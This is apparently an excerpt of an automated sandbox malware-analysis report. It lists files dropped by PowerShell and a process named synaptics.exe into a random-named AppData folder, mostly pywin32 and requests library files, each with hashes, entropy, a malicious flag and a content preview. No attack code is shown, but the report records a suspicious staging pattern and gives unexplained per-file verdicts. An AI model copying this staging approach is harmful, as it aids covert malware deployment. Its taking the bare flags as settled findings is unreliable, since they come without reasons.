              SHA-512:B30A43E8FBA7AA524F81B8166479A72E999876CD120A70BF5AC6B9EAC0B987186AE553485899C2054FCD14332C67586D93EF720A5564E9BC02CFE58CC83BA401
              Malicious:false
              Reputation:unknown
              Preview:# Regedit - a Registry Editor for Python..import commctrl.import regutil.import win32api.import win32con.import win32ui.from pywin.mfc import dialog, docview, window..from . import hierlist...def SafeApply(fn, args, err_desc=""):. try:. fn(*args). return 1. except win32api.error as exc:. msg = "Error " + err_desc + "\r\n\r\n" + exc.strerror. win32ui.MessageBox(msg). return 0...class SplitterFrame(window.MDIChildWnd):. def __init__(self):. # call base CreateFrame. self.images = None. window.MDIChildWnd.__init__(self).. def OnCreateClient(self, cp, context):. splitter = win32ui.CreateSplitter(). doc = context.doc. frame_rect = self.GetWindowRect(). size = ((frame_rect[2] - frame_rect[0]), (frame_rect[3] - frame_rect[1]) // 2). sub_size = (size[0] // 3, size[1]). splitter.CreateStatic(self, 1, 2). # CTreeControl view. self.keysview = RegistryTreeView(doc). # C

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\tools\regpy.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2227
              Entropy (8bit):4.872054790493375
              Encrypted:false
              SSDEEP:
              MD5:493F358181163C78F296572CEC865F45
              SHA1:6E18E4A6E1ACEF2435F2A34E0A134170895AF726
              SHA-256:DD83DA51DE78BA6E3E540C1C66A84DCC2A3E24D85C086522C02F2BC693B74B4F
              SHA-512:4FA5B274307879902F2C4EA553C424F990A56F9034D5BC2EE809F14354BBCDCC04882C1C1AA0BF7B83475D65AEF5FA60B6318217DEE67CFF22C5B0CFF9144A95
              Malicious:false
              Reputation:unknown
              Preview:# (sort-of) Registry editor.import commctrl.import dialog.import win32con.import win32ui...class RegistryControl:. def __init__(self, key):. self.key = key...class RegEditPropertyPage(dialog.PropertyPage):. IDC_LISTVIEW = 1000.. def GetTemplate(self):. "Return the template used to create this dialog".. w = 152 # Dialog width. h = 122 # Dialog height. SS_STD = win32con.WS_CHILD | win32con.WS_VISIBLE. FRAMEDLG_STD = win32con.WS_CAPTION | win32con.WS_SYSMENU. style = (. FRAMEDLG_STD. | win32con.WS_VISIBLE. | win32con.DS_SETFONT. | win32con.WS_MINIMIZEBOX. ). template = [. [self.caption, (0, 0, w, h), style, None, (8, "Helv")],. ]. lvStyle = (. SS_STD. | commctrl.LVS_EDITLABELS. | commctrl.LVS_REPORT. | commctrl.LVS_AUTOARRANGE. | commctrl.LVS_ALIGNLEFT. | win32con.WS_BORDER.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\scintilla.dll

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):474624
              Entropy (8bit):6.625429940844488
              Encrypted:false
              SSDEEP:
              MD5:128F85DBF43015318D2FC3BDB61D1550
              SHA1:BE5A1C973A6994B65556A64F7F929D8FA86C09EE
              SHA-256:50ACED901BB6E6576F3DAEE43C24E502F4C313390A6BCA10A80CB8DD5C869EFA
              SHA-512:BC2C872159D35FF661161FD61819C35374BDA83A1E26DC3A6ABC8E6D83D965BB250A4849C88B98E8C84CA52BCE64AE3765719FFD4C91007AD952B1092D3B122D
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................... .................................p...n......n.....n.....n.....Rich............................PE..L...?..d...........!.........".......+.......@............................................@......................... ...\...|...x....0..x....................@...2......................................@............@..4............................text...7-.......................... ..`.rdata.......@.......2..............@..@.data....-..........................@....rsrc...x....0......................@..@.reloc...2...@...4..................@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\start_pythonwin.pyw

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):570
              Entropy (8bit):4.806856150980674
              Encrypted:false
              SSDEEP:
              MD5:E99710CD86EE5DD0224147A559D6B188
              SHA1:52009301D69B18151F5BC894D71EFAA14C2B5C9A
              SHA-256:0E602BB5890C84E4AC07FD60A7C3A91AF9C62AC598174B893DCF570AADCF1EA7
              SHA-512:B0A5A853B7728A1179015A5DE01DAC8E7B826CF239011292B5348DCF9F61E9EF460F1EFDC9799E49E40E6D26E519D7B50996C681A8BB0BB80148ACDD7CBDB94C
              Malicious:false
              Reputation:unknown
              Preview:# A Python file that can be used to start Pythonwin, instead of using.# pythonwin.exe.import os.import sys..import win32ui..import pywin.framework.intpyapp # InteractivePythonApp()..assert pywin.framework.intpyapp # not unused.# Pretend this script doesn't exist, or pythonwin tries to edit it.sys.argv[:] = sys.argv[1:] or [""] # like PySys_SetArgv(Ex).if sys.path[0] not in ("", ".", os.getcwd()):. sys.path.insert(0, os.getcwd()).# And bootstrap the app..app = win32ui.GetApp().if not app.InitInstance():. # Run when not already handled by DDE. app.Run().

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\win32ui.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):892416
              Entropy (8bit):6.415727021722159
              Encrypted:false
              SSDEEP:
              MD5:CB5708039138CD4A63A922198DC43325
              SHA1:35C22C64A6C2761DF113858AF81284CF175AD0A7
              SHA-256:C6A9B6E35206C7FC440EFAE2187D9E5DB3227CB4E66F7AC69D4ABCA166BE8866
              SHA-512:1617FF8A78990591AEA7A33B9B3831D887E8701046E4A8E05DFF1211C759CCBCCEA8756017E16EEF016DAB1BD037E80243B7EAA1ACD5FD95FDC799FFC8BC2AEC
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................a...E.....#..............................{.........E.....E.....E.....E.....Rich............................PE..L......d...........!......................................................................@......................... i...Q......T...............................l:...x..T....................z.......y..@...............4............................text...B........................... ..`.rdata...%.......&..................@..@.data...8........`..................@....rsrc................H..............@..@.reloc..l:.......<...b..............@..B................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\win32uiole.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):63488
              Entropy (8bit):6.025963796718588
              Encrypted:false
              SSDEEP:
              MD5:EDE4BAECB1CFA009AEC578FD6E11AA97
              SHA1:5D982015F94F50A25C8E635562947F8110AA891B
              SHA-256:A864B413E5DD5D2F13DE834FA333546F9FFC2177BD0625EFA2A3175C1449E78F
              SHA-512:5BF40FF82882B7920AB255F2966BCF2DD515B1C23ACD30AC6300E9F170A08E1287FF01852C60B7E267B190E54AE5D362D018E5232A500B6C68EA7FF7373B643F
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............L...L...L..%L...L=..M...L[..M...L.M...L.M...L...M...L...M...L...M...L...L...L...M...L=..M...L=..M...L=..M...LRich...L........PE..L...!..d...........!.....b..........AT.......................................@............@.............................T...............d.................... ..........T...............................@............................................text....`.......b.................. ..`.rdata..Fr.......t...f..............@..@.data...............................@....rsrc...d...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32.pth

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):178
              Entropy (8bit):4.536641638598185
              Encrypted:false
              SSDEEP:
              MD5:322BF8D4899FB978D3FAC34DE1E476BB
              SHA1:467808263E26B4349A1FAF6177B007967FBC6693
              SHA-256:4F67FF92AF0EA38BF18AC308EFD976F781D84E56F579C603ED1E8F0C69A17F8D
              SHA-512:D7264690D653AC6ED4B3D35BB22B963AFC53609A9D14187A4E0027528B618C224ED38E225330CEAE2565731A4E694A6146B3214B3DCEE75B053C8AE79F24A9DD
              Malicious:false
              Reputation:unknown
              Preview:# .pth file for the PyWin32 extensions.win32.win32\lib.Pythonwin.# And some hackery to deal with environments where the post_install script.# isn't run..import pywin32_bootstrap.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32_system32\pythoncom310.dll

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):538624
              Entropy (8bit):6.491364168693639
              Encrypted:false
              SSDEEP:
              MD5:D97ECC9F37DC4ED3E5A1927A5B772BEF
              SHA1:23A3869FD403590CD520FA8633E09795E9B5FDCB
              SHA-256:FD2ACDF0CAB285163604CF342BBDC09B4786415EB68ED4DB7625C3E30FD129BB
              SHA-512:5B314CA54B8254F580A4A385A1526504D953E395255A1730073D76ADD73094AD19D3EFE30438AA71869C56A25860B1C743841CD1A3F4AB6F61A98E4CB4A1F5F9
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........^X..?6..?6..?6..G...?6..J7..?6..J3..?6..J2..?6..J5..?6.NJ7..?6..T2..?6.(V7..?6..T7..?6..?7..>6.NJ?..?6.NJ6..?6.NJ4..?6.Rich.?6.........PE..L...o..d...........!.........8...........................................................@.........................0...l`........... ..l....................0..8...0 ..T............................ ..@...............l............................text............................... ..`.rdata..............................@..@.data........0...h..................@....rsrc...l.... ......................@..@.reloc..8....0......................@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32_system32\pywintypes310.dll

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):109056
              Entropy (8bit):6.492481300735069
              Encrypted:false
              SSDEEP:
              MD5:255C85303581C56BD17A0303EF3BDA10
              SHA1:8519047A3FE52E7952766278964DC44D2B3AD651
              SHA-256:949C0AB7842FB4D9ADF01C52C5E24CC286D3F916384684F6C770EC29C69B4D76
              SHA-512:7A4D54B5EE7FD0C33E10D5398CE01B309BD0CEA4F5095C11072AA500BA2091B4F5816B7D5ABD091D812C985809E99FAE7C77EEF844294A83D2460CB1744D8CCB
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............j..j..j.....j..k..j......j..o..j..n..j..i..j..n..j...k..j..k..j..k.G.j.e.c..j.e.j..j.e.h..j.Rich..j.........................PE..L......d...........!................9.....................................................@..........................2..D@..Tr..........l............................(..T...........................0)..@............................................text............................... ..`.rdata.............................@..@.data................z..............@....rsrc...l...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5072
              Entropy (8bit):4.857425771188779
              Encrypted:false
              SSDEEP:
              MD5:35A5BBB6EFDDDE1984A7E15D69AA5F40
              SHA1:648596E3AC1513E124FE04A3FFE30F8B1BC1BAD7
              SHA-256:E3168011198F0C804FB1AD8FB23A54F6BD3ACA8A0AFB69992874D90215915ADB
              SHA-512:7BEC2837D23FA13356E073DE9FC9739EF18D8417A76729788A867A9ED74635B3D0E886A7AD6B53F1FF98FA138037B090DBC4CAE870E73799C362473B4FA41383
              Malicious:false
              Reputation:unknown
              Preview:# __.# /__) _ _ _ _ _/ _.# / ( (- (/ (/ (- _) / _).# /..""".Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2'). >>> r = requests.post('https://httpbin.org/post', data=payload). >>> print(r.text). {. .... "form": {. "key1": "value1",. "key2": "value2". },. .... }..The other HTTP methods are supported - see `requests.api`. Full documentation.is at <https://requests.readthedocs.io>...:copyright: (c) 2017 by Kenneth Reitz..:license: Apache 2.0, see LICENSE for more details.."""..import warnings..import urllib3..from .exceptions import RequestsDependencyWarning..try:. from charset_normalizer import __version__ as charset_n

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\__pycache__\__init__.cpython-310.pyc.30272416

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):3914
              Entropy (8bit):5.790643520169079
              Encrypted:false
              SSDEEP:
              MD5:893A10B34799E3B8E73A186F22F92426
              SHA1:CC750C5D4A9CA9B79CCBF126F1C99EEFD5BB296E
              SHA-256:9288877D6A67235D1FC944BCC8C5810C9A68343CACBB06FAAA9859B9259AC26A
              SHA-512:DB92F647C1A52F4103BC810A8CBDC066CBF6AE768E4FADEE9B90E15A1A960509DC4E18837F9554ADA5B605CCC69F1B9D12B72B0F7570406405677051614CB327
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.........................@...sL...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y#......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y7......d.Z.Y.n.w.d.d...Z.d.d...Z.z.e.e.j.e.e.....W.n...e.e.f.y`......e...d...e.j.e.e...e.....Y.n.w.z.z.d.d.l.Z.W.n...e.ys......d.Z.Y.n.w.e.e.d.d...s.d.d.l.m.Z...e.......d.d.l.m.Z...e.e.....W.n...e.y.......Y.n.w.d.d.l.m.Z...e...d.e.....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m.Z...d.d.l)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1..d.d.l.m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>m?Z?..d.d.l@mAZAmBZB..d.d.lCmDZD..e..EeF...Ge.......e.j.d.e4d.d.....d.S.).a.....Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\__version__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):435
              Entropy (8bit):4.9265723482231465
              Encrypted:false
              SSDEEP:
              MD5:CF7B49D0B713B70F100F710CFD501EF4
              SHA1:C4D5E1C3654E68DBEF42E721F0B77CC6CDF50D75
              SHA-256:1557E09606663509E660F5E93A8843539F05E4451BFFE5674936807AC4B5F3B8
              SHA-512:ABFBD374D94DF3DAD2B9F5D31301E373703F3452F2C10D1ECAE5EA4C8802A96129162E125E29BBE39A18F0A7D80841886E9A5E1A2CFF51EC5238171AEE6F726D
              Malicious:false
              Reputation:unknown
              Preview:# .-. .-. .-. . . .-. .-. .-. .-..# |( |- |.| | | |- `-. | `-..# ' ' `-' `-`.`-' `-' `-' ' `-'..__title__ = "requests".__description__ = "Python HTTP for Humans.".__url__ = "https://requests.readthedocs.io".__version__ = "2.32.3".__build__ = 0x023203.__author__ = "Kenneth Reitz".__author_email__ = "me@kennethreitz.org".__license__ = "Apache-2.0".__copyright__ = "Copyright Kenneth Reitz".__cake__ = "\u2728 \U0001f370 \u2728".

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\_internal_utils.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1495
              Entropy (8bit):5.15366805062305
              Encrypted:false
              SSDEEP:
              MD5:9DFFF48651AD4C1CD36B1229E869D749
              SHA1:83A8612A7FE67477B5D61A8C4358D22D5B099F7E
              SHA-256:9CC4329ABE21B37D93A95A3901B0AB99C24486F3D487BC57965BB2AB0B252E24
              SHA-512:8BC4699BFFE4B41B11FF43EEF9CF33B668127DB9F58D8DB0EA6105150B01C7472E2CF6E834A0F45133F33AF9A54AEBE3B1399EDE383109D7D01F59455DB61001
              Malicious:false
              Reputation:unknown
              Preview:""".requests._internal_utils.~~~~~~~~~~~~~~..Provides utility functions that are consumed internally by Requests.which depend on extremely few external helpers (such as compat).""".import re..from .compat import builtin_str.._VALID_HEADER_NAME_RE_BYTE = re.compile(rb"^[^:\s][^:\r\n]*$")._VALID_HEADER_NAME_RE_STR = re.compile(r"^[^:\s][^:\r\n]*$")._VALID_HEADER_VALUE_RE_BYTE = re.compile(rb"^\S[^\r\n]*$|^$")._VALID_HEADER_VALUE_RE_STR = re.compile(r"^\S[^\r\n]*$|^$").._HEADER_VALIDATORS_STR = (_VALID_HEADER_NAME_RE_STR, _VALID_HEADER_VALUE_RE_STR)._HEADER_VALIDATORS_BYTE = (_VALID_HEADER_NAME_RE_BYTE, _VALID_HEADER_VALUE_RE_BYTE).HEADER_VALIDATORS = {. bytes: _HEADER_VALIDATORS_BYTE,. str: _HEADER_VALIDATORS_STR,.}...def to_native_string(string, encoding="ascii"):. """Given a string object, regardless of type, returns a representation of. that string in the native string type, encoding and decoding where. necessary. This assumes ASCII unless told otherwise.. """. if

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\adapters.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):27451
              Entropy (8bit):4.481100575687001
              Encrypted:false
              SSDEEP:
              MD5:55B2F3BB90204EAEA336530AA917B89E
              SHA1:30D3485425FCA58F2DDE0462B10EA79830CD4C68
              SHA-256:28871E72C72A6A6EAB78E097465E03C0FE235FC25C97CB1DE7B7EDD7B291D9C4
              SHA-512:F394618645A189E4DACBEEC0016003AACE5A8C25034FD3B1DA4D9F340B3BE85D1C0CB2FEF60DD12E3E12EFDAE5ACD35F71775E051493040FFFB3BBD7025F6259
              Malicious:false
              Reputation:unknown
              Preview:""".requests.adapters.~~~~~~~~~~~~~~~~~..This module contains the transport adapters that Requests uses to define.and maintain connections.."""..import os.path.import socket # noqa: F401.import typing.import warnings..from urllib3.exceptions import ClosedPoolError, ConnectTimeoutError.from urllib3.exceptions import HTTPError as _HTTPError.from urllib3.exceptions import InvalidHeader as _InvalidHeader.from urllib3.exceptions import (. LocationValueError,. MaxRetryError,. NewConnectionError,. ProtocolError,.).from urllib3.exceptions import ProxyError as _ProxyError.from urllib3.exceptions import ReadTimeoutError, ResponseError.from urllib3.exceptions import SSLError as _SSLError.from urllib3.poolmanager import PoolManager, proxy_from_url.from urllib3.util import Timeout as TimeoutSauce.from urllib3.util import parse_url.from urllib3.util.retry import Retry.from urllib3.util.ssl_ import create_urllib3_context..from .auth import _basic_auth_str.from .compat import basestring,

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\api.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6449
              Entropy (8bit):4.805150224362562
              Encrypted:false
              SSDEEP:
              MD5:AD3E6E647B23B98387FFE0738D965615
              SHA1:E2ACC6D4ACE747F71ED20A4135F6664A93BCD2FA
              SHA-256:FD96FD39AEEDCD5222CD32B016B3E30C463D7A3B66FCE9D2444467003C46B10B
              SHA-512:25FF8F68C8D09FF474BC654580598EFC70773AC908613082603F47B6C64DBD394E899B91BCE8103277D9669C7C09A1D35C74D67AC0B51AF4E1B35DBA896A194B
              Malicious:false
              Reputation:unknown
              Preview:""".requests.api.~~~~~~~~~~~~..This module implements the Requests API...:copyright: (c) 2012 by Kenneth Reitz..:license: Apache2, see LICENSE for more details.."""..from . import sessions...def request(method, url, **kwargs):. """Constructs and sends a :class:`Request <Request>`... :param method: method for the new :class:`Request` object: ``GET``, ``OPTIONS``, ``HEAD``, ``POST``, ``PUT``, ``PATCH``, or ``DELETE``.. :param url: URL for the new :class:`Request` object.. :param params: (optional) Dictionary, list of tuples or bytes to send. in the query string for the :class:`Request`.. :param data: (optional) Dictionary, list of tuples, bytes, or file-like. object to send in the body of the :class:`Request`.. :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`.. :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`.. :param cookies: (optional) Dict or CookieJar obje

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\auth.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):10186
              Entropy (8bit):4.530703975561897
              Encrypted:false
              SSDEEP:
              MD5:DCBEC6F5352F225981EAD338D778419E
              SHA1:BD96146BA4180F816DBD9C693F0B11ECC21EE214
              SHA-256:905EF9B6A9CB72D67D31FFE19BD4D9223E1C4169CDE6EC51CFCA16B31E70991D
              SHA-512:AE6EEE0CCC99712DEB2896CD783627E9BC6AB12191C722E70FB2727043AA099E47C14767E9EFB8D12B37DCC83F40E2AE1BCDFE7502D8BFD0ACF8B044D21BF127
              Malicious:false
              Reputation:unknown
              Preview:""".requests.auth.~~~~~~~~~~~~~..This module contains the authentication handlers for Requests.."""..import hashlib.import os.import re.import threading.import time.import warnings.from base64 import b64encode..from ._internal_utils import to_native_string.from .compat import basestring, str, urlparse.from .cookies import extract_cookies_to_jar.from .utils import parse_dict_header..CONTENT_TYPE_FORM_URLENCODED = "application/x-www-form-urlencoded".CONTENT_TYPE_MULTI_PART = "multipart/form-data"...def _basic_auth_str(username, password):. """Returns a Basic Auth string.""".. # "I want us to put a big-ol' comment on top of it that. # says that this behaviour is dumb but we need to preserve. # it because people are relying on it.". # - Lukasa. #. # These are here solely to maintain backwards compatibility. # for things like ints. This will be removed in 3.0.0.. if not isinstance(username, basestring):. warnings.warn(. "Non-string usernames w

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\certs.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable
              Category:dropped
              Size (bytes):429
              Entropy (8bit):4.751886441456147
              Encrypted:false
              SSDEEP:
              MD5:3F2C22A3EC28D618D41C220CBC809E6B
              SHA1:A450E6CD1180490FD376F5874B720AA3AF294BF5
              SHA-256:67D49BE35D009EFEA35054F2B2CD23145854EB1B2DF1CB442EA7F2F04BF6DE0C
              SHA-512:4668D0606D52F466534CB9F87429DDFDD7A552BAB2DBD84C6C8FCA8F789A81BFA9E366A37EAB55302FE231F99040F49F3B43FCBEB9E229DCAB71394ADE64E93D
              Malicious:false
              Reputation:unknown
              Preview:#!/usr/bin/env python..""".requests.certs.~~~~~~~~~~~~~~..This module returns the preferred default CA certificate bundle. There is.only one . the one from the certifi package...If you are packaging Requests, e.g., for a Linux distribution or a managed.environment, you can change the definition of where() to return a separately.packaged CA bundle..""".from certifi import where..if __name__ == "__main__":. print(where()).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\compat.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1817
              Entropy (8bit):4.771734424425327
              Encrypted:false
              SSDEEP:
              MD5:6ECA2EACB5945B0B897EA1F46998F0B2
              SHA1:CD951FD9BD8AA9D19898533B29A3F23D2ADAEF36
              SHA-256:0B9C3F0CF2D2BAB5CF81C75653BF1FA2B6B400F99B6245F61BCF50BC7E71CCF0
              SHA-512:30C0A9E9B428DDA20F82A86FDED3A09904AF9C0986185AAE0A150A6B2524749EBAC0A395DEB718F684CEAA6250064F18A0392C56FA55F0D1EFC179A338F95894
              Malicious:false
              Reputation:unknown
              Preview:""".requests.compat.~~~~~~~~~~~~~~~..This module previously handled import compatibility issues.between Python 2 and Python 3. It remains for backwards.compatibility until the next major version.."""..import importlib.import sys..# -------------------.# Character Detection.# -------------------...def _resolve_char_detection():. """Find supported character detection libraries.""". chardet = None. for lib in ("chardet", "charset_normalizer"):. if chardet is None:. try:. chardet = importlib.import_module(lib). except ImportError:. pass. return chardet...chardet = _resolve_char_detection()..# -------.# Pythons.# -------..# Syntax sugar.._ver = sys.version_info..#: Python 2.x?.is_py2 = _ver[0] == 2..#: Python 3.x?.is_py3 = _ver[0] == 3..# json/simplejson module import resolution.has_simplejson = False.try:. import simplejson as json.. has_simplejson = True.except ImportError:. import json..if has_simplejson:.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\cookies.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):18590
              Entropy (8bit):4.44721587671231
              Encrypted:false
              SSDEEP:
              MD5:003F4E0AABD7CC01B91224D1FB89EE21
              SHA1:904A118F4C9B48D637C5CCE657018C2486513527
              SHA-256:6CD8BE8AA123E0D3D9D34FA86FEAC7BF392F39BCCDDE5129830DE0EA9692DD7C
              SHA-512:9D6025A0698A287BC224AB424FA409BCB4B36C01EF27B9E0A018AD995B66ED3EB429CCAD5FC26703B8019366BBA37E1037AF54DC4D1F339F07820E3B93E2B9F0
              Malicious:false
              Reputation:unknown
              Preview:""".requests.cookies.~~~~~~~~~~~~~~~~..Compatibility code to be able to use `http.cookiejar.CookieJar` with requests...requests.utils imports from here, so be careful with imports.."""..import calendar.import copy.import time..from ._internal_utils import to_native_string.from .compat import Morsel, MutableMapping, cookielib, urlparse, urlunparse..try:. import threading.except ImportError:. import dummy_threading as threading...class MockRequest:. """Wraps a `requests.Request` to mimic a `urllib2.Request`... The code in `http.cookiejar.CookieJar` expects this interface in order to correctly. manage cookie policies, i.e., determine whether a cookie can be set, given the. domains of the request and the cookie... The original request object is read-only. The client is responsible for collecting. the new headers via `get_new_headers()` and interpreting them appropriately. You. probably want `get_cookie_header`, defined below.. """.. def __init__(self, reque

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\exceptions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4260
              Entropy (8bit):4.795346993336366
              Encrypted:false
              SSDEEP:
              MD5:2C504C9B2C3BBF355B1015CCFCF3E5C0
              SHA1:B538E50BA24C9D88B0AF38224A644C287CEAE925
              SHA-256:8C93D2D545804ECF3A4A155468BA2B4E225BD52686BA83445A020225EA7E5646
              SHA-512:57945FCA2E073FDDA3779690436A1F9928BAE1E49C20D424C22A4EBFDE28E8F61DA3C520DD159F23272D9ADF26F80814400FBAB2D4EE3FD2EC57985FB6B58A9F
              Malicious:false
              Reputation:unknown
              Preview:""".requests.exceptions.~~~~~~~~~~~~~~~~~~~..This module contains the set of Requests' exceptions..""".from urllib3.exceptions import HTTPError as BaseHTTPError..from .compat import JSONDecodeError as CompatJSONDecodeError...class RequestException(IOError):. """There was an ambiguous exception that occurred while handling your. request.. """.. def __init__(self, *args, **kwargs):. """Initialize RequestException with `request` and `response` objects.""". response = kwargs.pop("response", None). self.response = response. self.request = kwargs.pop("request", None). if response is not None and not self.request and hasattr(response, "request"):. self.request = self.response.request. super().__init__(*args, **kwargs)...class InvalidJSONError(RequestException):. """A JSON error occurred."""...class JSONDecodeError(InvalidJSONError, CompatJSONDecodeError):. """Couldn't decode the text into json""".. def __init__(self, *a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\requests\help.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3875
              Entropy (8bit):4.576599748394514
              Encrypted:false
              SSDEEP:
              MD5:FCB7BE924E43A29EC6B6F96FF2C9AEBC
              SHA1:5F2E6A66569E7ACD30A10588A436D8FDFBCC8CE8
              SHA-256:80F5F977F1FB5DDF3C6830017A386A1A097D075545453B79066898BCBDCFCC84
              SHA-512:487467E1E3EF25D7B5BA3E4688887C43AFD4FC521870E47E3339BB1C5A3FC6AFCD13526E3078DB7392D45173A8C0270D4E9372A40066AF1175B6A15BC09D65A9
              Malicious:false
              Reputation:unknown
              Preview:"""Module containing bug report helper(s)."""..import json.import platform.import ssl.import sys..import idna.import urllib3..from . import __version__ as requests_version..try:. import charset_normalizer.except ImportError:. charset_normalizer = None..try:. import chardet.except ImportError:. chardet = None..try:. from urllib3.contrib import pyopenssl.except ImportError:. pyopenssl = None. OpenSSL = None. cryptography = None.else:. import cryptography. import OpenSSL...def _implementation():. """Return a dict with the Python implementation and version... Provide both the name and the version of the Python implementation. currently running. For example, on CPython 3.10.3 it will return. {'name': 'CPython', 'version': '3.10.3'}... This function works best on CPython and PyPy: in particular, it probably. doesn't work for Jython or IronPython. Future investigation should be done. to work out the correct shape of the code for those platfor

